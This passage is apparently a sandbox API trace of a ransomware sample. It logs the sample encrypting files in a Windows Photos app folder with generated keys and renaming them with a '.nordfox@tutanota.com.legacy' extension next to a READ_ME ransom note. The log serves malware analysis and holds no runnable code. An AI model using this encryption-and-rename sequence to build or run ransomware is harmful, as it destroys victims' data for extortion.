returned 1 [0161.172] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2ecf060 | out: hHeap=0x520000) returned 1 [0161.172] SetFilePointer (in: hFile=0x1180, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0161.172] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0161.172] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0161.172] WriteFile (in: hFile=0x1180, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0161.173] WriteFile (in: hFile=0x1180, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0161.173] CloseHandle (hObject=0x1180) returned 1 [0161.173] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0161.173] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0161.173] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\settings\\settings.dat.log1"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\settings\\settings.dat.log1.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0161.174] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0161.174] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f6af88 | out: hHeap=0x520000) returned 1 [0161.175] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f69b48 | out: hHeap=0x520000) returned 1 [0161.175] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x2f6a130 [0161.175] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4110 [0161.175] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3428 [0161.175] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4110 | out: pbBuffer=0x5c4110) returned 1 [0161.175] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3428 | out: pbBuffer=0x5c3428) returned 1 [0161.175] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0161.175] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x2f69998 [0161.175] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x136) returned 0x570c48 [0161.175] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f69998 | out: hHeap=0x520000) returned 1 [0161.175] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1180 [0161.176] GetFileSizeEx (in: hFile=0x1180, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8192) returned 1 [0161.176] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x2ed1068 [0161.176] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x2ec9048 [0161.176] ReadFile (in: hFile=0x1180, lpBuffer=0x2ed1068, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ed1068*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0161.204] SetFilePointer (in: hFile=0x1180, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.204] WriteFile (in: hFile=0x1180, lpBuffer=0x2ec9048*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec9048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0161.205] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2ed1068 | out: hHeap=0x520000) returned 1 [0161.205] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2ec9048 | out: hHeap=0x520000) returned 1 [0161.205] SetFilePointer (in: hFile=0x1180, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0161.205] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0161.205] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0161.205] WriteFile (in: hFile=0x1180, lpBuffer=0x5c4110*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0161.205] WriteFile (in: hFile=0x1180, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0161.205] CloseHandle (hObject=0x1180) returned 1 [0161.206] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4110 | out: hHeap=0x520000) returned 1 [0161.206] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3428 | out: hHeap=0x520000) returned 1 [0161.206] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\settings\\settings.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\Settings\\settings.dat.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\settings\\settings.dat.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0161.207] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0161.207] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f6a130 | out: hHeap=0x520000) returned 1 [0161.207] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f6aeb0 | out: hHeap=0x520000) returned 1 [0161.207] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x2f69cf8 [0161.207] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4110 [0161.207] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3468 [0161.207] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4110 | out: pbBuffer=0x5c4110) returned 1 [0161.207] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3468 | out: pbBuffer=0x5c3468) returned 1 [0161.208] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0161.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x2f69dd0 [0161.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x136) returned 0x570c48 [0161.208] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f69dd0 | out: hHeap=0x520000) returned 1 [0161.208] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\settings\\roaming.lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1180 [0161.208] GetFileSizeEx (in: hFile=0x1180, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0161.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1) returned 0x5c3518 [0161.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1) returned 0x5c3548 [0161.208] ReadFile (in: hFile=0x1180, lpBuffer=0x5c3518, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0161.208] SetFilePointer (in: hFile=0x1180, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.208] WriteFile (in: hFile=0x1180, lpBuffer=0x5c3548*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3548*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0161.209] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0161.209] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3548 | out: hHeap=0x520000) returned 1 [0161.209] SetFilePointer (in: hFile=0x1180, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0161.209] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0161.209] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0161.209] WriteFile (in: hFile=0x1180, lpBuffer=0x5c4110*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0161.210] WriteFile (in: hFile=0x1180, lpBuffer=0x5c3468*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3468*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0161.210] CloseHandle (hObject=0x1180) returned 1 [0161.210] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4110 | out: hHeap=0x520000) returned 1 [0161.210] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3468 | out: hHeap=0x520000) returned 1 [0161.210] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\settings\\roaming.lock"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\Settings\\roaming.lock.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\settings\\roaming.lock.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0161.211] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0161.211] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f69cf8 | out: hHeap=0x520000) returned 1 [0161.211] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x617908 | out: hHeap=0x520000) returned 1 [0161.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f64840 [0161.212] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41510 | out: hHeap=0x520000) returned 1 [0161.212] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f67e90 | out: hHeap=0x520000) returned 1 [0161.212] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f6ba10 | out: hHeap=0x520000) returned 1 [0161.212] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\SystemAppData\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec8930d8, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xec8930d8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xed1e153f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f611d8 [0161.212] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563720 | out: hHeap=0x520000) returned 1 [0161.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0161.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f79078 [0161.212] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0161.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f64b60 [0161.212] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f79078 | out: hHeap=0x520000) returned 1 [0161.212] GetLastError () returned 0x0 [0161.212] SetLastError (dwErrCode=0x0) [0161.212] GetLastError () returned 0x0 [0161.212] SetLastError (dwErrCode=0x0) [0161.212] GetLastError () returned 0x0 [0161.212] SetLastError (dwErrCode=0x0) [0161.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574c18 [0161.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dce8 [0161.212] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dce8 | out: hHeap=0x520000) returned 1 [0161.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f65ae0 [0161.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x2f61358 [0161.212] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f61358 | out: hHeap=0x520000) returned 1 [0161.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20270 [0161.212] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20270 | out: hHeap=0x520000) returned 1 [0161.212] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f65ae0 | out: hHeap=0x520000) returned 1 [0161.213] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574c18 | out: hHeap=0x520000) returned 1 [0161.213] FindNextFileW (in: hFindFile=0x2f611d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec8930d8, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xec8930d8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xed1e153f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.213] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f64b60 | out: hHeap=0x520000) returned 1 [0161.213] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0161.213] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f79320 [0161.213] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0161.213] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f65010 [0161.213] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f79320 | out: hHeap=0x520000) returned 1 [0161.213] GetLastError () returned 0x0 [0161.213] SetLastError (dwErrCode=0x0) [0161.213] GetLastError () returned 0x0 [0161.213] SetLastError (dwErrCode=0x0) [0161.213] GetLastError () returned 0x0 [0161.213] SetLastError (dwErrCode=0x0) [0161.213] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0161.213] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56def8 [0161.213] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56def8 | out: hHeap=0x520000) returned 1 [0161.213] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f65b08 [0161.213] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x2f612d8 [0161.213] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f612d8 | out: hHeap=0x520000) returned 1 [0161.213] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20120 [0161.213] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20120 | out: hHeap=0x520000) returned 1 [0161.213] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f65b08 | out: hHeap=0x520000) returned 1 [0161.213] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0161.213] FindNextFileW (in: hFindFile=0x2f611d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed1e153f, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed1e153f, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed1e153f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.213] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f65010 | out: hHeap=0x520000) returned 1 [0161.213] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0161.213] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f79320 [0161.213] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0161.213] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f64520 [0161.214] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f79320 | out: hHeap=0x520000) returned 1 [0161.214] GetLastError () returned 0x0 [0161.214] SetLastError (dwErrCode=0x0) [0161.214] GetLastError () returned 0x0 [0161.214] SetLastError (dwErrCode=0x0) [0161.214] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563720 [0161.214] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f64520 | out: hHeap=0x520000) returned 1 [0161.214] GetLastError () returned 0x0 [0161.214] SetLastError (dwErrCode=0x0) [0161.214] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f65ae0 [0161.214] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f65ae0 | out: hHeap=0x520000) returned 1 [0161.214] FindNextFileW (in: hFindFile=0x2f611d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed1e153f, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed1e153f, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed1e153f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0161.214] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e41510 [0161.214] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f64840 | out: hHeap=0x520000) returned 1 [0161.214] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578f98 | out: hHeap=0x520000) returned 1 [0161.214] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f6ba38 | out: hHeap=0x520000) returned 1 [0161.214] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\TempState\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1fcdfb62, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x36142cad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xed1e153f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f61618 [0161.214] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563720 | out: hHeap=0x520000) returned 1 [0161.214] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0161.214] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f78b28 [0161.214] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0161.214] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f649d0 [0161.214] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78b28 | out: hHeap=0x520000) returned 1 [0161.214] GetLastError () returned 0x12 [0161.214] SetLastError (dwErrCode=0x12) [0161.214] GetLastError () returned 0x12 [0161.215] SetLastError (dwErrCode=0x12) [0161.215] GetLastError () returned 0x12 [0161.215] SetLastError (dwErrCode=0x12) [0161.215] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0161.215] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56db30 [0161.215] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56db30 | out: hHeap=0x520000) returned 1 [0161.215] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f65ae0 [0161.215] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x2f61498 [0161.215] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f61498 | out: hHeap=0x520000) returned 1 [0161.215] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20168 [0161.215] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20168 | out: hHeap=0x520000) returned 1 [0161.215] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f65ae0 | out: hHeap=0x520000) returned 1 [0161.215] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0161.215] FindNextFileW (in: hFindFile=0x2f61618, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1fcdfb62, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x36142cad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xed1e153f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.215] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f649d0 | out: hHeap=0x520000) returned 1 [0161.215] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553c10 [0161.215] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f79320 [0161.215] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553c10 | out: hHeap=0x520000) returned 1 [0161.215] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f64840 [0161.215] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f79320 | out: hHeap=0x520000) returned 1 [0161.215] GetLastError () returned 0x12 [0161.215] SetLastError (dwErrCode=0x12) [0161.215] GetLastError () returned 0x12 [0161.215] SetLastError (dwErrCode=0x12) [0161.215] GetLastError () returned 0x12 [0161.215] SetLastError (dwErrCode=0x12) [0161.215] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0161.215] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dad8 [0161.215] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dad8 | out: hHeap=0x520000) returned 1 [0161.216] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f65d60 [0161.216] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x2f614d8 [0161.216] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f614d8 | out: hHeap=0x520000) returned 1 [0161.216] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e202d0 [0161.216] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e202d0 | out: hHeap=0x520000) returned 1 [0161.216] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f65d60 | out: hHeap=0x520000) returned 1 [0161.216] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0161.216] 